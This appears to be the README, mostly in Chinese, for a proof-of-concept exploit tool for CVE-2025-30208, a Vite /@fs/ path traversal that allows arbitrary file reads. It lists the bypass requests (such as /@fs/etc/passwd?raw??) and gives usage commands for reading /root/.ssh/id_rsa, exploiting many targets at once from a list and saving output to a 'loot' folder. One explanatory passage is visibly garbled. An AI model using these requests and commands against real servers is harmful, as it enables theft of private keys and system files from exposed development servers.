
A PoC of the exploit script for the Arbitrary File Read vulnerability of Vite /@fs/ Path Traversal in the transformMiddleware (CVE-2025-30208).
一个针对 Vite /@fs/ 路径遍历 漏洞(CVE-2025-30208)中 transformMiddleware 的 任意文件读取 的 PoC 利用脚本。详细分析可参考此 文章。
受影响版本为 以下版本之前:
Vite 是一个流行的开源项目,源码来自 Github 及其 官方网站。它在开发模式下使用特殊前缀 @fs 来允许直接访问 绝对文件路径:
GET /@fs/<absolute/path/to/file>
但 为了防止滥用,Vite 通过如下配置 限制 可通过 @fs 访问的内容:
server: {
fs: {
allow: [path.resolve(__dirname, 'src')]
}
}
因此理论上,即使有人尝试使用 ../../../ 等技巧,允许目录之外(如 /etc/passwd)的文件也应当被 阻止。
然而,漏洞在于 Vite 解析和检查 URL 的方式(通过 transformMiddleware 中间件/函数)。该中间件/函数使用 ensureServingAccess(url, ...) 来检查通过 /@fs/ 请求的文件是否被允许。
但攻击者可以构造带有 尾部查询分隔符 的 URL 请求,例如:
GET /@fs/etc/passwd?raw??
GET /@fs/etc/passwd?raw&url
GET /@fs/etc/passwd?import&raw??
这些形式会 绕过正则表达式过滤器(rawRE、urlRE)以及安全检查,因为畸形的查询字符串仍然匹配路由逻辑。实际情况如下:
/@fs/../../../etc/passwdraw??(故意畸形)?),并且在 检查文件路径是否被允许之前 执行此操作。这意味着:
server.fs.allow 检查。/etc/passwd。python3 poc.py [选项]
单个目标利用:
python3 cve-2025-30208.py -u example.com:5173
单个目标,使用自定义 LFI 路径泄露所需文件:
python3 cve-2025-30208.py -u example.com:5173 -p '/root/.ssh/id_rsa'
批量利用多个目标:
python3 cve-2025-30208.py -f targets.txt
自定义绕过查询字符串:
python3 cve-2025-30208.py -u example.com:5173 -b "?raw&url"
使用代理(例如 Burp Suite):
python3 cve-2025-30208.py -u example.com:5173 --proxy http://127.0.0.1:8080
自定义输出目录:
python3 cve-2025-30208.py -u example.com:5173 -o ./loot
增加批量模式的线程数:
python3 cve-2025-30208.py -f targets.txt -t 50
| 标志 / 选项 | 描述 |
|---|
-u, --url | 单个目标 URL(例如 example.com:5173) |
-f, --file | 包含目标列表的文件(每行一个 URL) |
-p, --path | 要读取的文件系统路径(默认:/etc/passwd) |
-b, --bypass | 用于绕过路由验证的查询字符串(默认:?raw??) |
--proxy | 代理 URL(例如 http://127.0.0.1:8080) |
-o, --output | 保存利用结果的输出目录(默认:results) |
-t, --threads | 批量模式下的线程数(默认:10) |
-h, --help | 显示帮助信息并退出 |